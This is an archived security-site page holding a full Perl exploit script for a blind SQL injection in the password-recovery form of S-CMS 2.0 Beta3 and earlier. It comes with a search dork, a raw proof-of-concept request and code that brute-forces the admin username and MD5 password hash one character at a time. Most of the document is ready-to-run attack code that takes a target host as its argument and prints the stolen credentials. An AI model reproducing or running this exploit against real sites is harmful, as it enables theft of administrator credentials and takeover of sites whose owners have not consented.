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TUCoPS :: Web :: CMS / Portals :: bt-21115.htm

S-CMS <= v-2.0 Beta3 (Post Form var 'username') BLIND SQLi exploit



(Post Form var 'username') BLIND SQLi exploit --S-CMS <= v-2.0 Beta3-->
(Post Form var 'username') BLIND SQLi exploit --S-CMS <= v-2.0 Beta3-->



#!/usr/bin/perl
#
#------------------------------------------------------------------------
#(Post Form var 'username') BLIND SQLi exploit --S-CMS <= v-2.0 Beta3-->
#------------------------------------------------------------------------
#
#CMS INFORMATION:
#
#-->WEB: http://www.matteoiammarrone.com/public/s-cms/ 
#-->DOWNLOAD: http://www.matteoiammarrone.com/public/s-cms/ 
#-->DEMO: N/A
#-->CATEGORY: CMS / Portal
#-->DESCRIPTION: Cms written in php and mysql, phpnuke style whit a plugins, 
#		blocks and permission system.
#-->RELEASED: 2009-05-25
#
#CMS VULNERABILITY:
#
#-->TESTED ON: firefox 3
#-->DORK: "S-CMS by matteoiamma"
#-->CATEGORY: BLIND SQLi exploit
#-->AFFECT VERSION: <= 2.0-Beta3
#-->Discovered Bug date: 2009-05-25
#-->Reported Bug date: 2009-05-25
#-->Fixed bug date: 2009-05-28=09
#-->Info patch(2.1): http://www.matteoiammarrone.com/public/s-cms/plugin.php?page=phpbb3 
#-->Author: YEnH4ckEr
#-->mail: y3nh4ck3r[at]gmail[dot]com
#-->WEB/BLOG: N/A
#-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.
#-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)
#
#------------
#CONDITIONS:
#------------
#
#magic quotes=OFF
#
#{db_prefix} by default=cms
#
#-------
#NEED:
#-------
#
#Valid username
#
#---------------------------------------
#PROOF OF CONCEPT (SQL INJECTION):
#---------------------------------------
#
#POST http://[HOST]/[PATH]/plugin.php?page=your_account.php&mode=passlost HTTP/1.1 
#Host: [HOST]
#User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10
#Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
#Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
#Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
#Keep-Alive: 300
#Proxy-Connection: keep-alive
#Referer: http://[HOST]/[PATH]/html/plugin.php?page=your_account.php&mode=passlost 
#
#username=pepe%27+or+1%3D%271&recupera_pass=Recover+password --> OK, sending code
#
#username=pepe%27+or+1%3D%270&recupera_pass=Recover+password --> Uhm?, username doesn't exist
#
#--------------
#WATCH VIDEOS
#--------------
#
# BSQLi --> http://www.youtube.com/watch?v=oVYrVcfA6Vo 
#
# SQLi --> http://www.youtube.com/watch?v=S__l5IKzYNU 
# --> http://www.youtube.com/watch?v=LprQDdZ6ZcU 
#
# LFI --> http://www.youtube.com/watch?v=2NhaNFbyP_w 
#
#
#######################################################################
#######################################################################
##*******************************************************************##
##  SPECIAL GREETZ TO: Str0ke, JosS, Ulises2k, J. McCray, Evil1 ...  ##
##*******************************************************************##
##-------------------------------------------------------------------##
##*******************************************************************##
##              GREETZ TO: SPANISH H4ck3Rs community!                ##
##*******************************************************************##
#######################################################################
#######################################################################
#
#
use LWP::UserAgent;
use HTTP::Request;
#Subroutines
sub lw
{
	my $SO = $^O;
	my $linux = "";
	if (index(lc($SO),"win")!=-1){
		$linux="0";
	}else{
		$linux="1";
	}	=09
	if($linux){
		system("clear");
	}
	else{
		system("cls");
		system ("title S-CMS V-2.0 Beta3 Blind SQL Injection Exploit");
		system ("color 02");
	}
}
sub request {
	my $userag = LWP::UserAgent->new;
	$userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
	$request = HTTP::Request -> new(POST => $_[0]);
	$request->referer($_[0]);
	$request->content_type('application/x-www-form-urlencoded');
	$request->content($_[1]);
	my $outcode= $userag->request($request)->as_string;
	#print $outcode; #--> Active this line for debugger mode
	#print $request->as_string; #--> Active this line for debugger mode
	return $outcode;
}
sub error {
print "\t------------------------------------------------------------\n";
	print "\tWeb isn't vulnerable!\n\n";
	print "\t--->Maybe:\n\n";
	print "\t\t1.-Patched.\n";
	print "\t\t2.-Bad path or host.\n";
	print "\t\t3.-Bad username.\n";
	print "\t\t4.-db_prefix isn't 'cms'.\n";
	print "\t\t5.-Magic quotes ON'.\n";
	print "\t\tEXPLOIT FAILED!\n";
	print "\t------------------------------------------------------------\n";
}
sub testedblindsql {
	print "\t-----------------------------------------------------------------\n";
	print "\tWEB MAYBE BE VULNERABLE!\n\n";
	print "\tTested Blind SQL Injection.\n";	=09
	print "\tStarting exploit...\n"; 
	print "\t-----------------------------------------------------------------\n\n";
}
sub helper {
	print "\n\t[!!!] S-CMS V-2.0 Beta3 Blind SQL Injection Exploit\n";
	print "\t[!!!] USAGE MODE: [!!!]\n";
	print "\t[!!!] perl $0 [HOST] [PATH] [USER]\n";
	print "\t[!!!] [HOST]: Web.\n";
	print "\t[!!!] [PATH]: Home Path.\n";
	print "\t[!!!] [USER]: Username for fish\n";
print "\t[!!!] Example: perl $0 'www.example.com' 'demo' 'y3nh4ck3r'\n"; 
}
sub brute_length{
#Username length
$exit=0;
$i=0;
while($exit==0){
	my $blindsql="username=".$_[1]."'+AND+(SELECT+length(username)+FROM+cms_users+WHERE+uid=1)='".$i++."&recupera_pass=Recover+password"; #injected code
	$output=&request($_[0],$blindsql);
	if($output =~ (/\Generate a confirmation code that was sent via email\.\<\/center\>/)){
		$exit=1;
	}else{
		$exit=0;
	}
	#This is the max length of username
	if($i>50){
	&error;
	exit(1);
	}
}
#Save column length
$length=$i-1;
print "\t<<<<<--------------------------------------------------------->>>>>\n";
print "\tLength catched!\n";
print "\tLength Username --> ".$length."\n";
print "\tWait several minutes...\n";
print "\t<<<<<--------------------------------------------------------->>>>>\n\n";
return $length;
}
sub exploiting {
#Bruteforcing values
$values="";
$k=1;
	$z=45;
	while(($k<=$_[1]) && ($z<=126)){
		my $blindsql="username=".$_[3]."'+AND+ascii(substring((SELECT+".$_[2]."+FROM+cms_users+WHERE+uid=1),".$k.",1))='".$z."&recupera_pass=Recover+password";
		$output=&request($_[0],$blindsql);
		if($output =~ (/\Generate a confirmation code that was sent via email.\<\/center\>/))
		{
			$values=$values.chr($z);
			$k++;
			$z=45;
		}
#new char
	$z++; 
	}
return $values;
}
#Main
&lw;
print "\t#######################################################\n\n";
print "\t#######################################################\n\n";
print "\t##   S-CMS V-2.0 Beta3 Blind SQL Injection Exploit   ##\n\n";
print "\t##           Blind SQL Injection Exploit             ##\n\n"; 
print "\t##       ++Conditions: magic_quotes=OFF              ##\n\n";
print "\t##       ++Needed: Valid username (USER)             ##\n\n";
print "\t##               Author: Y3nh4ck3r                   ##\n\n";
print "\t##      Contact:y3nh4ck3r[at]gmail[dot]com           ##\n\n";
print "\t##            Proud to be Spanish!                   ##\n\n";
print "\t#######################################################\n\n";
print "\t#######################################################\n\n";
#Init variables
my $host=$ARGV[0];
my $path=$ARGV[1];
my $userforfish=$ARGV[2];
$numArgs = $#ARGV + 1;
if($numArgs<=2) 
	{
		&helper;
		exit(1);=09
	}=09
#Build uri
my $finalhost="http://".$host."/".$path."/plugin.php?page=your_account.php&mode=passlost"; 
$finalrequest = $finalhost;=09
#Testing blind sql injection and magic_quotes (any error?)
$send_post1="username=".$userforfish."%27+or+1%3D%271&recupera_pass=Recover+password";
$output1=&request($finalrequest,$send_post1);
$send_post2="username=".$userforfish."%27+or+1%3D%270&recupera_pass=Recover+password";
$output2=&request($finalrequest,$send_post2);
if ($output1 eq $output2)
{    
	#Not injectable
	&error;
	exit(1); 
}else{ 
	#blind sql injection is available
	&testedblindsql;
}
#Bruteforcing length
$length_user=&brute_length($finalrequest,$userforfish);=09
#Bruteforcing username...
$user=&exploiting($finalrequest,$length_user,'username',$userforfish);
#Bruteforcing password md5 hash...
$pwhash=&exploiting($finalrequest,32,'password',$userforfish);
#final checking
if((!$user) || (!$pwhash)){
	&error;
	exit(1);
}
print "\n\t\t*************************************************\n";
print "\t\t*********  EXPLOIT EXECUTED SUCCESSFULLY ********\n";
print "\t\t*************************************************\n\n";
print "\t\tAdmin-username: ".$user."\n";
print "\t\tAdmin-password: ".$pwhash."\n\n";
print "\n\t\t<<----------------------FINISH!-------------------->>\n\n";
print "\t\t<<---------------Thanks to: y3hn4ck3r-------------->>\n\n";
print "\t\t<<------------------------EOF---------------------->>\n\n";
exit(1);
#Ok...all job done


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